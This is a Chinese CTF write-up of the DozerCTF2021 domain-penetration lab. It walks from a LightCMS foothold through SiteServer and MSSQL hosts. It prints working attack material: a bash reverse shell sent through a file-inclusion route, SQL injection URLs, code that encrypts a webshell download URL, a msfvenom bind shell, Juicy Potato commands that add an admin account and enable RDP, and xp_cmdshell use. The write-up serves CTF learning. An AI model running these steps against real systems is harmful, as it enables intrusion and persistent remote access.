DozerCTF2021 域渗透 Workthrough - m1ao

admin 2021年12月31日15:52:07评论204 views字数 25572阅读85分14秒阅读模式

本文所涉及的内容仅供以安全为目的的学习研究使用,不得将其用于非法用途,否则后果自行承担!

0x00 引言

五月底有个 DozerCTF,比赛时间和 XCTF Final、DASCTF 等几个比赛冲突了,于是当时这个比赛就基本没看了。

不过里面有个域渗透的题目还是挺有意思的,正好咱还没玩过域渗透,趁这个机会就来学一下相关的知识,来练练手。

题目描述:

目标人物flag,模拟一次红队行动吧。

http://web1.dozer.team:8082/

(这篇文章发出来的时候环境已经关了)

由于最近比较忙,这题在比赛的时候没怎么打,大部分是之后复现的,题目环境重置了好几次,然而复现的时候域环境还是被师傅们打烂了。

于是这篇文章就算是个渗透过程的记录吧,断断续续写的,过程中由于环境重置或者 shell 不稳定的原因导致重新打了好几次,前后会有些不连续,操作也不熟悉,写的也比较乱,师傅们随意看看就好了。Orz

0x01 10.10.1.47 LightCMS

入口是 LightCMS

后台登录信息群里已经给了

即 dozer / dozer123

参考:

gml 郭院士的 lightcms后台RCE漏洞挖掘

Ying 师傅的 LightCMS全版本后台RCE 0day分析

LightCMS 文件上传&&phar反序列化rce漏洞复现

再谈Laravel Debug mode RCE(CVE-2021-3129)漏洞

GitHub: PHPGGC: PHP Generic Gadget Chains

然而当时用这个反序列化的洞打不通……最后换了个打法。

/admin/neditor/serve/catchimage 接口存在任意文件读取,可以读取 /var/www/html/app/Http/Controllers/Admin/NEditorController.php 文件。

发现 /admin/neditor/serve/testInclude 这个路由下可以进行文件包含,从而执行命令。

首先在内容管理-文章这里上传一句话木马。

然后在这个路由下执行,比如:

1=system('bash -i >& /dev/tcp/ip/port 0>&1');&file=./upload/image/202105/iAWvVAZTHl35fVW29B5zk6iLh6G7K5tDQXL0PaX9.gif

在 vps 上就能拿到 shell,进而在根目录下拿到第一个 flag 了。

这里其实有个非预期,系统管理下有个日志的记录,可以直接蹭之前师傅的小车车,知道了 flag 在 /flag_d0z3r

catchimage 接口直接访问响应里的 url,内容就是 flag。

搜集内网信息

ifconfig

顺便发现他用的 lightcms 版本是 1.3.5

顺便看下配置文件。

/var/www/html/config/database.php

env 看下环境变量。

于是知道了数据库是 MySQL,用户名/密码均为 user1.

(登上去看了看,貌似没啥用

扔个 kscan 上去,扫一波内网。

[]ssh://10.10.1.47:22  42      SSH-2.0-Op      Product:OpenSSH,Version:7.2p2 Ubuntu 4ubuntu2.10,OS:Linux,DeviceType:Ubuntu Linux; protocol 2.0,OtherInfo:Ubuntu Linux; protocol 2.0
[]microsoft-ds://10.10.1.1:445 103     c�SMBrProduct:Microsoft Windows Server 2008 R2 - 2012 microsoft-ds,OS:Windows,HostName:DC01,DeviceType:workgroup: DOZER,OtherInfo:workgroup: DOZER
[]microsoft-ds://10.10.1.234:445       133     ��SMBr  Product:Microsoft Windows Server 2008 R2 - 2012 microsoft-ds,OS:Windows Server 2008 R2 - 2012
[]microsoft-ds://10.10.1.231:445       117     q�SMBrProduct:Microsoft Windows Server 2008 R2 - 2012 microsoft-ds,OS:Windows Server 2008 R2 - 2012
[]microsoft-ds://10.10.1.250:445       105     e�SMBrProduct:Microsoft Windows Server 2008 R2 - 2012 microsoft-ds,OS:Windows Server 2008 R2 - 2012
[]https://10.10.1.231:3389     512     QM`��N
[]http://10.10.1.47:80 200     Laravel Product:nginx,Version:1.10.3,OS:Linux,DeviceType:Ubuntu,OtherInfo:Ubuntu,server:nginx/1.10.3 (Ubuntu),
使用可以删除相关路由(routes/web.php、rout
[]http://10.10.1.100:80        403     HTTP/1.1 4      Product:Microsoft IIS httpd,Version:8.0,OS:Windows,server:Microsoft-IIS/8.0
[]http://10.10.1.122:80        200     Apache2UbuntuDefaultPage:Itworks        Product:Apache httpd,Version:2.4.18,DeviceType:(Ubuntu),OtherInfo:(Ubuntu),server:Apache/2.4.18 (Ubuntu),rticularconfigurationsnippetsw
[]http://10.10.1.231:80        404     HTTP/1.1 4      Product:Microsoft IIS httpd,Version:8.0,OS:Windows,server:Microsoft-IIS/8.0
[]http://10.10.1.234:80        200     HTTP/1.1 2      Product:Microsoft IIS httpd,Version:8.0,OS:Windows,server:Microsoft-IIS/8.0
[]http://10.10.1.100:81        403     403-禁止访问:访问被拒绝。       Product:Microsoft IIS httpd,Version:8.0,OS:Windows,server:Microsoft-IIS/8.0,:访问被拒绝。服务器错误403-禁止访问:访问被拒绝。您无权
[]http://10.10.1.250:80        200     DozerCTF2021–又一个WordPress站点        Product:Apache httpd,Version:2.4.39,DeviceType:(Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02,OtherInfo:(Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02,server:Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02,RSSWordPress.orgDozerCTF2021,自
[]mysql://10.10.1.250:3306     71      C�jHost         Product:MySQL,DeviceType:unauthorized,OtherInfo:unauthorized
[]http://10.10.1.122:8888      200     Directorylistingfor/    Product:SimpleHTTPServer,Version:0.6,DeviceType:Python 3.5.2,OtherInfo:Python 3.5.2,server:SimpleHTTP/0.6 Python/3.5.2,ldNZOmxkq3769/ctLoSsHXtMKzmiPz
[]http://10.10.1.122:9999      200     Directorylistingfor/    Product:SimpleHTTPServer,Version:0.6,DeviceType:Python 3.5.2,OtherInfo:Python 3.5.2,server:SimpleHTTP/0.6 Python/3.5.2,private-84758d0d58d44984879202
[]https://10.10.1.100:443      200     Outlook Product:Microsoft IIS httpd,Version:8.0,OS:Windows,server:Microsoft-IIS/8.0,94jMMZwmJD5JAhCfWPm0e2+MGKDYRQ,CN=exch

大概包括:

这里之后复现的时候整个域环境都重置了,丢了个 fscan 上去重新扫了一波。

(还是 fscan 看起来更舒服一点

# ./fscan -h 10.10.1.1/24
10.10.1.1:139 open
10.10.1.231:139 open
10.10.1.234:139 open
10.10.1.250:139 open
10.10.1.121:139 open
10.10.1.250:135 open
10.10.1.234:135 open
10.10.1.121:135 open
10.10.1.1:135 open
10.10.1.47:22 open
10.10.1.231:135 open
10.10.1.100:81 open
10.10.1.250:80 open
10.10.1.234:80 open
10.10.1.231:80 open
10.10.1.122:80 open
10.10.1.100:443 open
10.10.1.100:808 open
10.10.1.250:3306 open
10.10.1.231:1433 open
10.10.1.231:445 open
10.10.1.234:445 open
10.10.1.250:445 open
10.10.1.121:445 open
10.10.1.1:445 open
10.10.1.122:1080 open
10.10.1.100:80 open
10.10.1.47:80 open
10.10.1.122:8000 open
10.10.1.122:9000 open
10.10.1.122:8080 open
10.10.1.100:8172 open
10.10.1.122:9096 open
10.10.1.122:9090 open
10.10.1.122:10010 open
10.10.1.1:88 open
[*] 10.10.1.121          DOZER\DESKTOP-ALICE     Windows Server 2012 Datacenter 9200
NetInfo:
[*]10.10.1.121
   [->]Deskto-Alice
   [->]10.10.1.121
NetInfo:
[*]10.10.1.1
   [->]dc01
   [->]10.10.1.1
NetInfo:
[*]10.10.1.234
   [->]WIN-UIARPOTP0AL
   [->]10.10.1.234
[*] 10.10.1.1      [+]DC DOZER\DC01              Windows Server 2012 Standard 9200
[*] 10.10.1.234          WORKGROUP\WIN-UIARPOTP0AL   Windows Server 2012 Datacenter 9200
[*] 10.10.1.1  (Windows Server 2012 Standard 9200)
[*] 10.10.1.231          DOZER\SQLSERVER14       Windows Server 2012 Standard 9200
NetInfo:
[*]10.10.1.231
   [->]Sqlserver14
   [->]10.10.1.231
[*] WebTitle:http://10.10.1.100        code:403 len:0      title:None
[*] WebTitle:http://10.10.1.47         code:200 len:7      title:Laravel
[*] WebTitle:http://10.10.1.100:81     code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle:https://10.10.1.100       code:302 len:0      title:None
[*] WebTitle:http://10.10.1.122        code:200 len:37     title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:http://10.10.1.231        code:404 len:0      title:None
NetInfo:
[*]10.10.1.250
   [->]web02
   [->]10.10.1.250
[*] 10.10.1.250          DOZER\WEB02             Windows Server 2012 Standard 9200
[*] WebTitle:http://10.10.1.122:8080   code:200 len:10795  title:DozerCTF 2021 – 又一个WordPress站点
[*] WebTitle:http://10.10.1.122:9000   code:200 len:11321  title:Apache2 Ubuntu Default Page: It works
[*] WebTitle:https://10.10.1.100/owa/  code:200 len:28240  title:Outlook
[*] WebTitle:http://10.10.1.234        code:200 len:171    title:None
[*] WebTitle:http://10.10.1.250        code:200 len:46     title:DozerCTF 2021 – 又一个WordPress站点

噢还漏了个 10.10.1.121 DOZER\DESKTOP-ALICE,上面说不定还有域管的 hash。

在 10.10.1.47 上用 frp / iox 之类的开个 socks 代理到自己的 vps,然后再转发到本地,这样就能直接从本地连到内网里了。

Linux 下直接在 proxychains 里配好 socks 连接,而后执行命令的时候直接 proxychains 要执行的命令 就完事了。

可以参考

内网渗透之端口转发与代理工具总结

0x02 10.10.1.234 SiteServer

Hint:

有一次,运维人员在吃饭的时候提到了他们用了siteserver

直接访问 http://10.10.1.234/ 得到

<script>var $pageInfo = {publishmentSystemID : 1, channelID : 1, contentID : 0, siteUrl : "", homeUrl : "/home", currentUrl : "/", rootUrl : "", apiUrl : "/api"};</script>

利用报错,发现了他目录是 /siteserver/

进而发现是个 siteserver

登录页面:

http://10.10.1.234/siteserver/login.aspx

参考 溯源复现SiteServer5疑似在野0day

可以分别拿到 UserName、Password、PasswordSalt。

http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20Username%20from%20bairong_Administrator--
Admin

http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%201%20Password%20from%20bairong_Administrator--
leonsec

http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20PasswordSalt%20from%20bairong_Administrator--
D79FHgmyyy5RH7WnljqNBQ==

(不过貌似没啥用

然后查一查 SiteServer 有啥漏洞,果然就有现成的。

简记野生应急捕获到的siteserver远程模板下载Getshell漏洞

SiteServer CMS 5.x 漏洞复现&分析

https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell

发现直接打过去无法访问,噢 GitHub 啊,没事了。

那试试 fastgit 的代理。

首先按照 README 的说明,把 downloadurl 给换掉。

懒得配 C# 环境了,直接找了个在线的执行就完事了。

http://www.dooccn.com/csharp/

using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "https://raw.fastgit.org/zhaoweiho/SiteServerCMS-Remote-download-Getshell/master/webshell/poxteam.zip";
        var _outString = ""; var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try{ 
           var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Encoding.UTF8.GetBytes(_inputString); 
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);     cs.Write(inputByteArray, 0, inputByteArray.Length);
         cs.FlushFinalBlock();
          _outString = Convert.ToBase64String(ms.ToArray()); 
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }

生成的地址再用 python 替换一下几个字符。

aZlBAFKTavDq1a13yzD3E1jziPhCL9Y1W0HUgoWERF7oXIBq9tKZFNVSSoWFIGM+wUVVDMPLriIYZOrTHFNH6wuBxt9fr/hX771Ey8w4BJ0t1koCOIzYQO2arzX9xfWGb1bTT6ElmWU=

# python
str_decry.replace("+", "0add0").replace("=", "0equals0").replace("&", "0and0").replace("?", "0question0").replace("/", "0slash0")

aZlBAFKTavDq1a13yzD3E1jziPhCL9Y1W0HUgoWERF7oXIBq9tKZFNVSSoWFIGM0add0wUVVDMPLriIYZOrTHFNH6wuBxt9fr0slash0hX771Ey8w4BJ0t1koCOIzYQO2arzX9xfWGb1bTT6ElmWU0equals0

???怎么还是不行?

于是放自己 vps 上试了试,发现根本没有请求记录,看来 不出网

气死了。

么得办法,只能先把文件传到最开始的机器上,然后起个 web 服务,再把文件通过这台下载。

http://10.10.1.47:12345/poxteam.zip
ZjYIub/YxA05+dg8BqV7gX//DhYyedHPT79r6KQFp5dKGh7t/3uUZA==
ZjYIub0slash0YxA050add0dg8BqV7gX0slash00slash0DhYyedHPT79r6KQFp5dKGh7t0slash03uUZA0equals00equals0

http://10.10.1.234/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA050add0dg8BqV7gX0slash00slash0DhYyedHPT79r6KQFp5dKGh7t0slash03uUZA0equals00equals0&directoryName=test233

终于拿到马了。

http://10.10.1.234/SiteFiles/SiteTemplates/test233/include.aspx

好耶!

好家伙,一堆的 shell。

看了下这台机器貌似没有域环境。

然后找了半天没找到 flag 在哪……

再整个冰蝎马传上去。

# whoami
iis apppool\defaultapppool

systeminfo

主机名:           WIN-UIARPOTP0AL
OS 名称:          Microsoft Windows Server 2012 Datacenter
OS 版本:          6.2.9200 暂缺 Build 9200
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:       
产品 ID:          00184-70000-00000-AA252
初始安装日期:     2021/5/15, 19:55:24
系统启动时间:     2021/5/30, 12:38:55
系统制造商:       VMware, Inc.
系统型号:         VMware Virtual Platform
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~1796 Mhz
BIOS 版本:        Phoenix Technologies LTD 6.00, 2019/7/29
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     2,047 MB
可用的物理内存:   1,243 MB
虚拟内存: 最大值: 4,095 MB
虚拟内存: 可用:   3,017 MB
虚拟内存: 使用中: 1,078 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 2 个修补程序。
                  [01]: KB2999226
                  [02]: KB4012214
网卡:             安装了 1 个 NIC。
                  [01]: Intel(R) 82574L 千兆网络连接
                      连接名:      Ethernet0
                      启用 DHCP:   否
                      IP 地址
                        [01]: 10.10.1.234
                        [02]: fe80::4446:784:6de4:d42a
Hyper-V 要求:     已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

寻思着 flag 是不是放在 Administrator 用户桌面上呢?(虽然最后发现并没有这个文件夹

试了好几种提权方法,但一般都是 msf 或者 CS 或者就远程上去弹窗口的,试了都么得用。

发现用的冰蝎的代码执行有点问题,于是再打了个一句话木马,用蚁剑连上去。

最后整了个烂土豆,直接在 webshell 提权好了。

不过有个缺点是貌似只能执行一条命令(?),唔。

貌似也找不到 flag 在哪啊……

又去找了别人的提权过程……

比如 记一次Windows渗透提权历程

新建个账号,添加到管理组里。这里就不整影子用户了。

net user root test456123!
net localgroup administrators root /add

开启远程桌面。

JuicyPotatoweb.exe -p "REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
JuicyPotatoweb.exe -p "REG ADD \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x00000d3d /f"
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

最后一行命令是查询远程桌面是否开启,0x0 表示开启,0x1 表示关闭。

这里发现 rdesktop 又连不上,提示 Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).

参考 rdesktop连接Windows远程桌面因CredSSP 报错解决办法

折腾了半天,最后换了 remmina 连上了。

上去找了一波啥也没找到,最后发现是在网站根目录的 Web.config.bak...

气死喵喵了。

那直接在最开始的马就能拿到了啊,坏耶!

DozerCTF{b59d9f9e843dedb09e407849f3396cb1}

再看 Web.config

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <appSettings>
    <add key="IsProtectData" value="True" />
    <add key="DatabaseType" value="9XtLPj6oytMAr6M9jZ0Xvg0equals00equals0" />
    <add key="ConnectionString" value="Zg3p37CSquO0slash0DelgBGFVO0J0BlhMxqbj6HR98UP8h4kojeoW8A0slash0xZh4im63w0tn2nuW7n5XRcDo0equals0" />
  </appSettings>
  <system.web>
    <httpRuntime requestValidationMode="2.0" requestPathInvalidCharacters="" maxRequestLength="40960" executionTimeout="2000" useFullyQualifiedRedirectUrl="false" minFreeThreads="8" minLocalRequestFreeThreads="4" appRequestQueueLimit="100" enableVersionHeader="false" />
    <pages validateRequest="false" enableSessionState="true" enableViewState="true" enableEventValidation="false" controlRenderingCompatibilityVersion="4.0" clientIDMode="AutoID" />
    <customErrors mode="Off" />
    <sessionState mode="InProc" timeout="30" />
    <trace enabled="false" requestLimit="1000" pageOutput="true" traceMode="SortByTime" localOnly="true" />
    <globalization fileEncoding="utf-8" requestEncoding="utf-8" responseEncoding="utf-8" />
    <compilation debug="false" />
  </system.web>
  <system.webServer>
    <modules>
      <!--iisnode默认不支持PUT和DELETE的解决-->
      <remove name="WebDAVModule" />
      <!--路由模型删掉再加一次-->
      <remove name="UrlRoutingModule-4.0" />
      <add name="UrlRoutingModule-4.0" type="System.Web.Routing.UrlRoutingModule" preCondition="" />
      <add name="ErrorRedirectModule" type="SiteServer.API.ErrorRedirectModule, SiteServer.API" />
    </modules>
    <handlers>
      <remove name="ExtensionlessUrlHandler-Integrated-4.0" />
      <remove name="OPTIONSVerbHandler" />
      <remove name="TRACEVerbHandler" />
      <add name="ExtensionlessUrlHandler-Integrated-4.0" path="*." verb="*" type="System.Web.Handlers.TransferRequestHandler" preCondition="integratedMode,runtimeVersionv4.0" />
    </handlers>
  </system.webServer>
  <runtime>
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <dependentAssembly>
        <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-9.0.0.0" newVersion="9.0.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Web.Http" publicKeyToken="31bf3856ad364e35" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Net.Http.Formatting" publicKeyToken="31bf3856ad364e35" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="Microsoft.Owin" publicKeyToken="31bf3856ad364e35" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-2.1.0.0" newVersion="2.1.0.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="System.Web.Cors" publicKeyToken="31bf3856ad364e35" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="Microsoft.AspNet.SignalR.Core" publicKeyToken="31bf3856ad364e35" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-2.2.1.0" newVersion="2.2.1.0" />
      </dependentAssembly>
    </assemblyBinding>
  </runtime>
</configuration>

解码一下 ConnectionString 可以得到数据库的连接信息。

s = "Zg3p37CSquO0slash0DelgBGFVO0J0BlhMxqbj6HR98UP8h4kojeoW8A0slash0xZh4im63w0tn2nuW7n5XRcDo0equals0"
s = s.replace("0add0", "+").replace("0equals0", "=").replace("0and0", "&").replace("0question0", "?").replace("0slash0", "/")
print(s)

# Zg3p37CSquO/DelgBGFVO0J0BlhMxqbj6HR98UP8h4kojeoW8A/xZh4im63w0tn2nuW7n5XRcDo=

C# 解码

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
{ static void Main(string[] args)
{
    var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
    var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
    var _inputString = "Zg3p37CSquO/DelgBGFVO0J0BlhMxqbj6HR98UP8h4kojeoW8A/xZh4im63w0tn2nuW7n5XRcDo=";
    var _outString = "";
    var _noteMessage = "";
    byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
    try
    {
        var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));
        var des = new DESCryptoServiceProvider();
        var inputByteArray = Convert.FromBase64String(_inputString);
        var ms = new MemoryStream();
        var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv),
                                  CryptoStreamMode.Write);
        cs.Write(inputByteArray, 0, inputByteArray.Length);
        cs.FlushFinalBlock();
        Encoding encoding = new UTF8Encoding();
        _outString = encoding.GetString(ms.ToArray());
        Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString);
    }
    catch (Exception error) { _noteMessage 27 = error.Message; }
} } }

得到

DesEncrypt:
server=10.10.1.231;uid=sa;pwd=msO.9uXC;database=site

顺便再练习一下,整个 msf 上线好了。

由于不出网不方便打反向连接,这里整个正向连接吧。

首先利用 msfvenom 生成一个正向连接的 payload。

msfvenom -p windows/meterpreter/bind_tcp LPORT=23333 -f exe -o 1.exe

上传后执行它

然后查看一下网络连接。

netstat -ano

可以看到成功监听了 23333 端口。说明已经跑起来了。

在 msf 里执行监听。

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp 
set rhost 10.10.1.234
set lport 23333
exploit

拿到 Meterpreter 会话。

0x03 10.10.1.231 MSSQL

那就直接从数据库这里日吧。

直接用 xp_cmdshell 执行命令好了。

ConnString:

server=10.10.1.231;uid=sa;pwd=msO.9uXC;database=site;Provider=SQLOLEDB;

发现就是管理员,好唉!

systeminfo 看下系统信息。

主机名: SQLSERVER14
OS 名称: Microsoft Windows Server 2012 Standard
OS 版本: 6.2.9200 暂缺 Build 9200
OS 制造商: Microsoft Corporation
OS 配置: 成员服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00184-00070-00000-AAOEM
初始安装日期: 2021/5/8, 21:38:55
系统启动时间: 2021/6/2, 22:38:53
系统制造商: VMware, Inc.
系统型号: VMware Virtual Platform
系统类型: x64-based PC
处理器: 安装了 2 个处理器。
[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~1796 Mhz
[02]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~1796 Mhz
BIOS 版本: Phoenix Technologies LTD 6.00, 2019/7/29
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: zh-cn;中文(中国)
时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量: 4,095 MB
可用的物理内存: 2,421 MB
虚拟内存: 最大值: 8,191 MB
虚拟内存: 可用: 6,463 MB
虚拟内存: 使用中: 1,728 MB
页面文件位置: C:\pagefile.sys
域: dozer.org
登录服务器: 暂缺
修补程序: 安装了 2 个修补程序。
[01]: KB2999226
[02]: KB4012214
网卡: 安装了 1 个 NIC。
[01]: Intel(R) 82574L 千兆网络连接
连接名: Ethernet0
启用 DHCP: 否
IP 地址
[01]: 10.10.1.231
[02]: fe80::f57d:729c:172a:abd6
Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

好家伙,这台机器在域: dozer.org 里了!

这回 flag 终于在 Administrator 用户桌面上了。

另外这个 DozerOCS.exe 是什么玩意?

Exec master.dbo.xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt'
DozerCTF{b305d6b074502f341e793c29d821cadd}

然后再考虑一下获取用户密码,说不定有域管的 hash。

tasklist 看一看,发现有杀软。

映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 20 K
System 4 Services 0 368 K
smss.exe 332 Services 0 1,044 K
csrss.exe 432 Services 0 5,964 K
wininit.exe 512 Services 0 3,900 K
csrss.exe 520 Console 1 27,296 K
winlogon.exe 564 Console 1 6,688 K
services.exe 608 Services 0 9,572 K
lsass.exe 616 Services 0 13,740 K
svchost.exe 708 Services 0 9,172 K
svchost.exe 760 Services 0 6,852 K
svchost.exe 808 Services 0 16,076 K
dwm.exe 872 Console 1 48,020 K
svchost.exe 884 Services 0 44,172 K
svchost.exe 964 Services 0 13,484 K
svchost.exe 660 Services 0 16,520 K
svchost.exe 1108 Services 0 11,084 K
spoolsv.exe 1276 Services 0 11,364 K
svchost.exe 1312 Services 0 7,696 K
sqlservr.exe 1340 Services 0 153,868 K
sqlwriter.exe 1472 Services 0 5,824 K
svchost.exe 1520 Services 0 12,036 K
VGAuthService.exe 1544 Services 0 8,616 K
vmtoolsd.exe 1580 Services 0 19,000 K
svchost.exe 1600 Services 0 8,144 K
avp.exe 1628 Services 0 26,532 K
svchost.exe 2052 Services 0 4,724 K
WmiPrvSE.exe 2248 Services 0 24,720 K
dllhost.exe 2348 Services 0 10,420 K
msdtc.exe 2564 Services 0 7,268 K
avpui.exe 3076 Console 1 186,908 K
taskhostex.exe 3132 Console 1 14,008 K
explorer.exe 3240 Console 1 103,624 K
vm3dservice.exe 3944 Console 1 3,588 K
vmtoolsd.exe 3956 Console 1 32,316 K
avpsus.exe 3184 Services 0 7,920 K
WmiPrvSE.exe 2212 Services 0 6,128 K
powershell.exe 1048 Console 1 71,740 K
conhost.exe 3148 Console 1 28,332 K
powershell.exe 3188 Console 1 71,192 K
conhost.exe 2300 Console 1 27,784 K
DozerOCS.exe 3728 Console 1 6,948 K
svchost.exe 4828 Services 0 37,936 K
csrss.exe 3572 RDP-Tcp#0 2 17,632 K
winlogon.exe 3844 RDP-Tcp#0 2 5,840 K
dwm.exe 4440 RDP-Tcp#0 2 31,812 K
avpui.exe 4124 RDP-Tcp#0 2 664 K
taskhostex.exe 4752 RDP-Tcp#0 2 8,980 K
rdpclip.exe 2692 RDP-Tcp#0 2 6,404 K
msiexec.exe 5100 Services 0 4,772 K
explorer.exe 3296 RDP-Tcp#0 2 81,692 K
ServerManager.exe 1176 RDP-Tcp#0 2 113,916 K
WmiPrvSE.exe 1384 Services 0 10,948 K
Taskmgr.exe 4444 RDP-Tcp#0 2 37,920 K
vm3dservice.exe 2204 RDP-Tcp#0 2 3,516 K
cmd.exe 3556 Services 0 2,084 K
conhost.exe 4992 Services 0 2,908 K
tasklist.exe 1196 Services 0 5,500 K

avp.exe <=> Kaspersky 卡巴斯基

看下网络连接,有 3389,应该是远程桌面。

这里复现的时候还发现没开远程桌面,然后又按照 0x02 中的方法先打开……

# netstat -ano
活动连接

协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 796
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 1304
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1388
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 524
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 872
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 928
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49177 0.0.0.0:0 LISTENING 620
TCP 0.0.0.0:49182 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49238 0.0.0.0:0 LISTENING 1304
TCP 10.10.1.231:139 0.0.0.0:0 LISTENING 4
TCP 10.10.1.231:1433 10.10.1.234:49404 ESTABLISHED 1304
TCP 10.10.1.231:1433 10.10.1.234:49410 ESTABLISHED 1304
TCP 10.10.1.231:1433 10.10.1.234:49411 ESTABLISHED 1304
TCP 10.10.1.231:1433 10.10.1.234:49412 ESTABLISHED 1304
TCP 10.10.1.231:1433 10.10.1.234:49413 ESTABLISHED 1304
TCP 10.10.1.231:1433 10.10.1.234:49414 ESTABLISHED 1304
TCP 10.10.1.231:1433 10.10.1.234:49417 ESTABLISHED 1304
TCP 127.0.0.1:49192 127.0.0.1:49193 ESTABLISHED 1604
TCP 127.0.0.1:49193 127.0.0.1:49192 ESTABLISHED 1604
TCP 127.0.0.1:49194 0.0.0.0:0 LISTENING 1604
TCP 127.0.0.1:49195 127.0.0.1:49196 ESTABLISHED 1604
TCP 127.0.0.1:49196 127.0.0.1:49195 ESTABLISHED 1604
TCP 127.0.0.1:49220 127.0.0.1:49221 ESTABLISHED 3744
